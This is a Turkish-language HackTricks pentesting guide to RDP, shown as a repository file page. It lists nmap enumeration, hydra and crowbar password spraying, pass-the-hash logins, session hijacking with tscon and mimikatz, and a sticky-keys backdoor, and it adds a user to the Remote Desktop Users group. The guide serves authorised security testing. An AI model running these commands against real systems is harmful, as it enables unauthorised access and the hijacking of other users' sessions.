hacktricks/network-services-pentesting/pentesting-rdp.md

179 lines
10 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3389 - Pentesting RDP
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel Bilgiler
Microsoft tarafından geliştirilen **Uzak Masaüstü Protokolü** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının sorunsuz bir şekilde kontrol edilmesini ve erişilmesini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
**Varsayılan port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeration
### Automatic
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Mevcut şifreleme ve DoS zafiyetini (hizmete DoS oluşturmadan) kontrol eder ve NTLM Windows bilgilerini (sürümler) alır.
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Dikkatli olun, hesapları kilitleyebilirsiniz**
### **Password Spraying**
**Dikkatli olun, hesapları kilitleyebilirsiniz**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Bilinen kimlik bilgileri/hash ile bağlanın
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol et
impacket'ten rdp\_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Saldırılar**
### Oturum çalma
**SYSTEM izinleriyle** herhangi bir **kullanıcı tarafından açılmış RDP oturumuna** erişebilirsiniz, sahibinin şifresini bilmenize gerek yoktur.
**Açık oturumları alın:**
```
query user
```
**Seçilen oturuma erişim**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Artık seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
**Önemli**: Aktif RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı oturumdan çıkaracaksınız.
Şifreleri süreci dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanıza olanak tanır (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
#### **Mimikatz**
Bunu yapmak için mimikatz'ı da kullanabilirsiniz:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişebileceksiniz.
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri aramak için: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) kullanabilirsiniz.
### RDP Süreç Enjeksiyonu
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi davranabilirsin:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### RDP grubuna Kullanıcı Ekleme
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatic Tools
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Komut satırından otomatik bir şekilde fare ve klavye kontrolü
* Komut satırından otomatik bir şekilde panoya erişim
* RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
* Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
* Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}